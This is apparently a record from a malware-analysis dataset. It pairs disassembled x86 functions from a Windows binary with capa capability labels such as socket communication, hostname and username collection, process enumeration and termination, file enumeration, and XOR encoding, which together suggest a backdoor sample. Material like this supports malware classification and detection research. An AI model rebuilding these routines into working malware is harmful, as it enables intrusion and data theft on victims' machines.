joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006ab7
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
call esi
mov edi, eax
add edi, 0x3a98
call esi
cmp eax, edi
jae 0x10006b27
xor eax, eax
push eax
push 0x100000
push 3
push eax
push eax
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10006b53
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xe7
jne 0x10006b14
push 0x2710
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
jmp 0x10006b1f
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
cmp eax, edi
jb 0x10006ad6
jmp 0x10006b2a
mov ebx, dword [ebp - 8]
cmp ebx, 0xffffffff
jne 0x10006b53
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x79
jne 0x10006b45
push 4
call fcn.10002279
jmp 0x10006b50
call esi
push eax
push 0x14
call fcn.10002216
pop ecx
pop ecx
jmp 0x10006bb4
push 0
push 0
lea eax, [ebp - 8]
push eax
push ebx
mov dword [ebp - 8], 2
call dword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
test eax, eax
jne 0x10006b7f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x14
call fcn.10002216
pop ecx
pop ecx
jmp 0x10006ba6
mov ecx, ebx
lea eax, [ebp - 0x2c]
call fcn.10006d27
sub esp, 0x20
push 8
pop ecx
mov esi, eax
mov edi, esp
push 0x1bd
rep movsd dword es:[edi], dword [esi]
call fcn.100066f5
add esp, 0x24
test eax, eax
jne 0x10006bb4
push ebx
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov edx, ebx
call fcn.10023ab7
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10006bc9
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push esi
xor esi, esi
test edi, edi
jle 0x10006c03
push 0
lea eax, [ebp - 4]
push eax
mov eax, edi
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10006c0c
cmp dword [ebp - 4], 0
je 0x10006c0c
add esi, dword [ebp - 4]
cmp esi, edi
jl 0x10006bd8
cmp esi, edi
jne 0x10006c0c
mov eax, esi
pop esi
leave
ret
or eax, 0xffffffff
jmp 0x10006c09

Function at 0x10006c11
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
and dword [ebp - 4], esi
xor eax, eax
inc eax
cmp dword [ebp + 0x10], esi
jle 0x10006c5a
mov eax, dword [ebp + 0x10]
sub eax, esi
cmp eax, 0x2000
jle 0x10006c34
mov eax, 0x2000
push 0
lea ecx, [ebp - 4]
push ecx
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10006c58
add esi, dword [ebp - 4]
cmp esi, dword [ebp + 0x10]
jl 0x10006c23
jmp 0x10006c5a
xor eax, eax
pop esi
leave
ret
Function at 0x10006d54
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov ebx, dword [sym.imp.WS2_32.dll_ioctlsocket]
mov esi, eax
add esi, dword [ebp + 0xc]
and dword [ebp + 0xc], 0
lea eax, [ebp - 8]
push eax
push 0x8004667e
push dword [ebp + 8]
mov dword [ebp - 8], 1
call ebx
cmp eax, 0xffffffff
jne 0x10006dbd
xor eax, eax
jmp 0x10006dec
push 2
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x10006dce
jg 0x10006dc5
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x10006dce
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
call edi
cmp eax, esi
jb 0x10006d91
jmp 0x10006dd2
mov dword [ebp + 0xc], 1
jmp 0x10006dd2
and dword [ebp + 0xc], 0
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push 0x8004667e
push dword [ebp + 8]
call ebx
inc eax
neg eax
sbb eax, eax
and eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10006e1b
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
test edi, edi
jle 0x10006e4a
push 0
mov eax, edi
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x10006e53
test eax, eax
je 0x10006e4a
add esi, eax
cmp esi, edi
jl 0x10006e25
cmp esi, edi
jne 0x10006e53
mov eax, edi
pop esi
pop ebp
ret
or eax, 0xffffffff
jmp 0x10006e50

Function at 0x10006f1c
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0x8004667e
push edi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
mov eax, fcn.10033df7
mov dword [esi + 0x14], eax
mov dword [esi + 0x1c], eax
mov dword [esi + 4], edi
mov dword [esi + 8], 0x10006e58
mov dword [esi + 0xc], 0x10006ead
mov dword [esi + 0x10], 0x10006eea
mov dword [esi + 0x18], 0x10006f07
mov eax, esi
leave
ret
Function at 0x10007014
Capabilities:
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x494
call fcn.100072b2
mov esi, 0x94
push esi
push eax
mov dword [ebp - 4], eax
call fcn.1000746f
lea edi, [esi + 0x6c]
push edi
push dword [ebp - 4]
mov ebx, eax
call fcn.1000746f
push edi
push dword [ebp - 4]
mov dword [ebp - 0xc], eax
call fcn.1000746f
push edi
push dword [ebp - 4]
mov dword [ebp - 0x18], eax
call fcn.1000746f
push edi
push dword [ebp - 4]
mov dword [ebp - 0x14], eax
call fcn.1000746f
add esp, 0x2c
mov dword [ebp - 0x10], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x14]
mov dword [ebp - 8], edi
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x18]
mov dword [ebp - 8], edi
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
call fcn.10002396
push edi
push dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x100070bc
push 0x5c
push dword [ebp - 0x10]
call fcn.1002ff70
pop ecx
pop ecx
test eax, eax
je 0x100070bc
inc eax
mov dword [ebp - 0x10], eax
jne 0x100070c3
mov dword [ebp - 0x10], 0x1004768e
push ebx
mov dword [ebx], esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [ebx + 4]
mov esi, dword [ebp + 8]
mov dword [0x10059e2c], eax
movzx eax, al
push eax
call fcn.100020b6
movzx eax, byte [ebx + 8]
push eax
call fcn.100020b6
movzx eax, word [ebx + 0xc]
push eax
call fcn.10002096
push 0
call fcn.10002079
push dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call fcn.10002079
push dword [sym.imp.KERNEL32.dll_GetProcAddress]
call fcn.10002079
push dword [ebp - 0x1c]
call fcn.10002079
push dword [ebp - 0x10]
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push str._s_t_s_t_s
push edi
push dword [ebp - 0xc]
call fcn.1002ec5b
mov eax, dword [ebp - 0xc]
add esp, 0x34
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10007139
sub eax, ecx
cmp eax, 0x3a
jle 0x1000714a
push 0x3a
pop eax
push dword [ebp - 0xc]
mov ecx, eax
call fcn.100020c8
mov esi, dword [ebp - 4]
pop ecx
call fcn.100072fd
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10007599
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 0xc], esi
push edi
mov edi, eax
jle 0x100075c7
mov eax, dword [ebp + 0xc]
push 0
sub eax, esi
push eax
push edi
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
add edi, eax
add esi, eax
cmp eax, 0xffffffff
je 0x100075cd
cmp esi, dword [ebp + 0xc]
jl 0x100075a7
mov eax, esi
pop edi
pop esi
pop ebp
ret
push 2
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [ebp + 8]
call sub.WS2_32.dll_closesocket
or eax, 0xffffffff
jmp 0x100075c9
Function at 0x1000767c
Capabilities:
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
xor esi, esi
inc esi
push edi
mov dword [ebp - 8], esi
call fcn.100022e8
push 0
push esi
push 2
call sub.WS2_32.dll_socket
mov esi, eax
or edi, 0xffffffff
cmp esi, edi
jne 0x100076a6
mov eax, edi
jmp 0x100076fc
push 2
pop eax
push dword [ebp + 0xc]
mov word [ebp - 0x18], ax
call sub.WS2_32.dll_htons
mov word [ebp - 0x16], ax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 8]
push eax
push 0x8004667e
push esi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, edi
jne 0x100076db
push esi
call sub.WS2_32.dll_closesocket
jmp 0x100076a2
push 0x10
lea eax, [ebp - 0x18]
push eax
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, edi
je 0x100076d3
push dword [ebp + 0x10]
push esi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, edi
je 0x100076d3
mov eax, esi
pop edi
pop esi
leave
ret

Function at 0x1000775e
Capabilities:
Create tcp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
push ebx
push esi
push edi
mov esi, ecx
mov edi, eax
mov eax, dword [esi]
push eax
mov dword [ebp - 0xc], 1
mov dword [ebp - 4], eax
call sub.WS2_32.dll_ntohl
mov dword [ebp - 8], eax
movzx eax, word [esi + 4]
push eax
sub edi, 6
call sub.WS2_32.dll_ntohs
mov eax, 0x3ff
xor ebx, ebx
call fcn.100022e8
push ebx
push 2
push 2
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
jne 0x100077c5
push eax
call sub.WS2_32.dll_closesocket
push 4
lea eax, [ebp - 4]
push 4
push eax
call fcn.100012c1
add esp, 0xc
jmp 0x10007808
push 2
pop eax
mov word [ebp - 0x1c], ax
xor eax, eax
mov word [ebp - 0x1a], ax
push 0x10
lea eax, [ebp - 0x1c]
push eax
push esi
mov dword [ebp - 0x18], ebx
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
jge 0x100077e9
push esi
jmp 0x100077ae
lea eax, [ebp - 0xc]
push eax
push 0x8004667e
push esi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
push esi
cmp eax, 0xffffffff
je 0x100077ae
mov ebx, dword [ebp - 8]
call fcn.10007661
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000780d
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
push ebx
push esi
push edi
mov esi, ecx
mov edi, eax
mov eax, dword [esi]
xor ebx, ebx
inc ebx
push eax
mov dword [ebp - 8], ebx
add esi, 4
mov dword [ebp - 4], eax
call sub.WS2_32.dll_ntohl
mov dword [ebp - 0xc], eax
movzx eax, word [esi]
inc esi
push eax
inc esi
sub edi, 6
call sub.WS2_32.dll_ntohs
movzx eax, ax
mov dword [ebp - 0x10], eax
mov eax, 0x3ff
cmp edi, eax
jl 0x10007853
mov edi, eax
push edi
lea eax, [ebp - 0x420]
push esi
push eax
call fcn.10035300
add esp, 0xc
mov byte [ebp + edi - 0x420], 0
call fcn.100022e8
push 0
push ebx
push 2
call sub.WS2_32.dll_socket
mov esi, eax
or edi, 0xffffffff
cmp esi, edi
jne 0x1000789c
push edi
call sub.WS2_32.dll_closesocket
push 4
lea eax, [ebp - 4]
push 4
push eax
call fcn.100012c1
add esp, 0xc
jmp 0x10007913
lea eax, [ebp - 0x420]
push eax
call sub.WS2_32.dll_gethostbyname
test eax, eax
jne 0x100078af
push esi
jmp 0x10007885
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp - 0x1c]
push eax
call fcn.10035300
add esp, 0xc
push 2
pop eax
push dword [ebp - 0x10]
mov word [ebp - 0x20], ax
call sub.WS2_32.dll_htons
mov word [ebp - 0x1e], ax
lea eax, [ebp - 8]
push eax
push 0x8004667e
push esi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, edi
je 0x100078ac
push 0x10
lea eax, [ebp - 0x20]
push eax
push esi
call sub.WS2_32.dll_connect
cmp eax, edi
jne 0x10007909
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x100078ac
mov ebx, dword [ebp - 0xc]
push esi
call fcn.10007646
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10007918
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov ebx, eax
add ebx, 0x7530
and dword [ebp - 8], 0
mov dword [ebp - 4], 0x64
jmp 0x100079d0
mov eax, dword [edi + 0x1c]
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x10c], eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x218]
push eax
xor ecx, ecx
inc ecx
push 0
push 0
mov dword [ebp - 0x218], ecx
mov dword [ebp - 0x110], ecx
call dword [sym.imp.WS2_32.dll_select]
lea eax, [ebp - 0x110]
push eax
push dword [edi + 0x1c]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
jne 0x100079da
lea eax, [ebp - 0x218]
push eax
push dword [edi + 0x1c]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x100079d0
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 0x1c]
call sub.WS2_32.dll_send
cmp eax, 0xffffffff
jne 0x100079da
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x100079da
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
cmp eax, ebx
jb 0x10007943
pop esi
pop ebx
leave
ret
Function at 0x100079de
Capabilities:
Get socket status
Resolve dns
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
call esi
mov edi, eax
add edi, 0x7530
and dword [ebp - 8], 0
mov dword [ebp - 4], 0x64
jmp 0x10007a66
mov eax, dword [ebx + 0x1c]
mov dword [ebp - 0x224], eax
mov dword [ebp - 0x11c], eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x228]
push eax
xor ecx, ecx
inc ecx
push 0
push 0
mov dword [ebp - 0x228], ecx
mov dword [ebp - 0x120], ecx
call dword [sym.imp.WS2_32.dll_select]
lea eax, [ebp - 0x120]
push eax
push dword [ebx + 0x1c]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
jne 0x10007ab0
lea eax, [ebp - 0x228]
push eax
push dword [ebx + 0x1c]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
jne 0x10007a6e
call esi
cmp eax, edi
jb 0x10007a06
jmp 0x10007ab0
push dword [ebp + 0x14]
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x10007ab0
push 2
pop eax
push dword [ebp + 0x10]
mov word [ebp - 0x18], ax
call sub.WS2_32.dll_htons
push dword [ebp + 0x14]
mov word [ebp - 0x16], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x10
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebx + 0x1c]
call dword [sym.imp.WS2_32.dll_sendto]
pop edi
pop esi
leave
ret
Function at 0x10007e7d
Capabilities:
Check for time delay via gettickcount

Disassembly:
push esi
mov esi, dword [0x10056840]
push edi
xor edi, edi
test esi, esi
je 0x10007f18
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_shutdown]
mov eax, dword [esi + 4]
test eax, eax
jne 0x10007eab
cmp dword [esi + 0xc], eax
jne 0x10007eb6
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esi + 0xc], eax
mov edi, esi
mov esi, dword [esi + 0x20]
test esi, esi
jne 0x10007e96
jmp 0x10007f17
test eax, eax
jne 0x10007eab
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esi + 0xc]
cmp eax, 0x3e8
jbe 0x10007eab
cmp dword [esi + 0x10], 0
jne 0x10007ed7
push 2
push dword [esi + 0x1c]
call ebx
cmp dword [esi + 0x10], 4
jne 0x10007ee4
push 2
push dword [esi + 0x1c]
call ebx
push dword [esi + 0x1c]
call sub.WS2_32.dll_closesocket
test eax, eax
je 0x10007ef6
cmp dword [esi + 0x10], 2
je 0x10007eab
mov eax, dword [esi + 0x20]
push esi
test edi, edi
je 0x10007f0c
mov dword [edi + 0x20], eax
call fcn.1002e822
mov esi, dword [edi + 0x20]
pop ecx
jmp 0x10007eb0
mov dword [0x10056840], eax
call fcn.1002e822
pop ecx
pop ebx
pop edi
pop esi
ret
Function at 0x10007f1b
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, dword [0x10056840]
push edi
xor edi, edi
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
cmp dword [0x10056844], edi
jne 0x10007f4a
push 0x100000
call fcn.1002e8ff
pop ecx
mov dword [0x10056844], eax
cmp esi, edi
je 0x10008063
mov ebx, 0xffffc
cmp dword [esi + 4], 1
jne 0x10008058
push 4
pop edi
push dword [esi]
cmp dword [esi + 0x10], edi
jne 0x10007fd8
call sub.WS2_32.dll_htonl
mov ecx, dword [0x10056844]
mov dword [ecx], eax
xor eax, eax
lea edi, [ebp - 0x1c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x1c]
push eax
push 0
push ebx
add ecx, 4
push ecx
mov dword [ebp - 0xc], 0x10
push dword [esi + 0x1c]
call dword [sym.imp.WS2_32.dll_recvfrom]
cmp eax, 0xffffffff
jne 0x10007fbc
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x10008058
push 4
push 4
jmp 0x10008026
test eax, eax
jbe 0x10008058
mov ecx, dword [0x10056844]
mov byte [ecx + eax + 4], 0
push 5
add eax, 4
push eax
push ecx
jmp 0x1000804d
call sub.WS2_32.dll_htonl
mov ecx, dword [0x10056844]
mov dword [ecx], eax
lea eax, [ebp - 4]
push eax
push 0x4004667f
push dword [esi + 0x1c]
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp dword [ebp - 4], ebx
jbe 0x10007fff
mov dword [ebp - 4], ebx
cmp eax, 0xffffffff
je 0x10008024
cmp dword [ebp - 4], 0
jbe 0x10008058
push dword [ebp - 4]
mov eax, dword [0x10056844]
push dword [esi + 0x1c]
add eax, 4
call fcn.10007599
pop ecx
pop ecx
cmp eax, 0xffffffff
jne 0x1000803a
push edi
push edi
push dword [0x10056844]
and dword [esi + 4], 0
call fcn.100012c1
add esp, 0xc
jmp 0x10008058
mov ecx, dword [ebp - 4]
cmp eax, ecx
jne 0x10008058
push 5
add ecx, 4
push ecx
push dword [0x10056844]
call fcn.100012c1
add esp, 0xc
inc dword [ebp - 8]
mov esi, dword [esi + 0x20]
test esi, esi
jne 0x10007f57
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10008df7
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
and dword [ebp - 0x10], 0
push ebx
push esi
push edi
push dword [ebp + 0xc]
xor eax, eax
push dword [ebp + 8]
lea edi, [ebp - 0xc]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
call fcn.10007324
lea eax, [ebp - 0x10]
add esp, 0xc
push eax
call fcn.1000733d
pop ecx
mov ebx, eax
push 1
call fcn.10023933
mov esi, eax
pop ecx
test esi, esi
je 0x10008e45
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x10008e57
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebx
push 0x23
call fcn.1000225c
add esp, 0xc
mov edx, esi
call fcn.10023ab7
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10008ecf
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94c
push ebx
push esi
push edi
xor ebx, ebx
push 0x7ff
lea eax, [ebp - 0x947]
push ebx
push eax
mov byte [ebp - 0x948], bl
call fcn.100364f0
add esp, 0xc
push dword [ebp + 0xc]
lea eax, [ebp - 0x18]
push dword [ebp + 8]
push eax
call fcn.10007324
lea eax, [ebp - 0x18]
add esp, 0xc
push eax
call fcn.1000733d
mov dword [ebp - 4], eax
lea eax, [ebp - 0x18]
mov dword [esp], 0x8000
push eax
call fcn.10001371
cmp dword [ebp - 4], ebx
pop ecx
pop ecx
jle 0x10008f3b
push dword [ebp - 4]
lea eax, [ebp - 0x18]
push eax
call fcn.100013c1
pop ecx
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call fcn.10003bc3
pop ecx
test eax, eax
je 0x10008f55
mov dword [ebp - 8], 0x100476a4
jmp 0x10008f6c
call fcn.1002725a
mov dword [ebp - 8], 0x100476a4
test eax, eax
jne 0x10008f6c
mov dword [ebp - 8], 0x100476a8
push ebx
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
je 0x100090ae
lea eax, [ebp - 0x148]
push eax
push edi
mov dword [ebp - 0x148], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x10008fa6
mov edx, edi
call fcn.10023ab7
jmp 0x100090ae
call fcn.10007009
mov ebx, dword [ebp - 0x140]
neg eax
sbb eax, eax
and eax, 0xc00
add eax, 0x400
push eax
call fcn.10023933
mov esi, eax
pop ecx
test esi, esi
jne 0x10008ff2
push dword [ebp - 0x140]
lea eax, [ebp - 0x124]
push dword [ebp - 0x130]
push eax
lea eax, [ebp - 0x18]
push str._s_t_d_t_d_n
push eax
call fcn.100014cb
add esp, 0x14
jmp 0x1000906c
lea eax, [ebp - 0x948]
push eax
push esi
call fcn.10008e63
pop ecx
pop ecx
test eax, eax
jne 0x1000900b
mov byte [ebp - 0x948], al
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x140]
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
jne 0x10009023
or dword [ebp - 0x1c], 0xffffffff
push esi
call fcn.10003bc3
test eax, eax
pop ecx
mov eax, 0x100476a8
jne 0x10009036
mov eax, dword [ebp - 8]
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x948]
push ecx
push eax
push dword [ebp - 0x140]
lea eax, [ebp - 0x124]
push dword [ebp - 0x130]
push eax
lea eax, [ebp - 0x18]
push str._s_t_d_t_d_t_s_t_s_t_d_n
push eax
call fcn.100014cb
add esp, 0x20
mov edx, esi
call fcn.10023ab7
lea eax, [ebp - 0x148]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10008fa6
mov edx, edi
call fcn.10023ab7
cmp dword [ebp - 4], 0
lea eax, [ebp - 0x18]
jne 0x10009095
push 0x11
jmp 0x10009097
push 0x16
call fcn.1000152d
push eax
lea eax, [ebp - 0x18]
call fcn.1000152a
push eax
call fcn.100012c1
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
call fcn.1000150a
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100090fa
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, 0x8000
push ebx
call fcn.1002e8ff
push dword [ebp + 8]
mov edi, eax
push str._s
push ebx
push edi
call fcn.1002ec5b
mov esi, dword [ebp + 0xc]
add esp, 0x14
push esi
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push edi
mov dword [ebp - 4], eax
call fcn.1002e822
cmp dword [ebp - 4], 0xffffffff
pop ecx
je 0x100091b9
test byte [esi], 0x10
lea eax, [esi + 0x2c]
je 0x100091be
push 2
mov edi, 0x100476d4
mov esi, eax
pop ecx
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x1000919f
mov esi, eax
push 3
mov edi, 0x100476d8
pop ecx
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x1000919f
push ebx
call fcn.1002e8ff
mov esi, dword [ebp + 0xc]
add esi, 0x2c
push esi
push 0x1004750c
mov edi, eax
push ebx
push edi
call fcn.1002ec5b
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
push dword [ebp + 8]
call fcn.100090bd
push 1
push edi
push dword [ebp + 8]
call dword [ebp + 0x10]
push edi
call fcn.1002e822
add esp, 0x34
mov esi, dword [ebp + 0xc]
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1000913b
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebx
leave
ret
push 0
push eax
push dword [ebp + 8]
call dword [ebp + 0x10]
add esp, 0xc
jmp 0x100091a2

Function at 0x10022849
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
mov eax, ecx
cdq
idiv dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov al, byte [edx + eax]
xor byte [ecx + str.AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRR], al
inc ecx
cmp ecx, 0x1800
jl 0x1002284e
pop ebp
ret

Function at 0x1002286b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 0xc], esi
jle 0x10022892
mov eax, dword [ebp + 8]
lea ecx, [esi + eax]
mov eax, esi
cdq
idiv edi
mov eax, dword [ebp + 0x10]
sub eax, edx
mov al, byte [eax + edi - 1]
xor byte [ecx], al
inc esi
cmp esi, dword [ebp + 0xc]
jl 0x10022876
pop esi
pop ebp
ret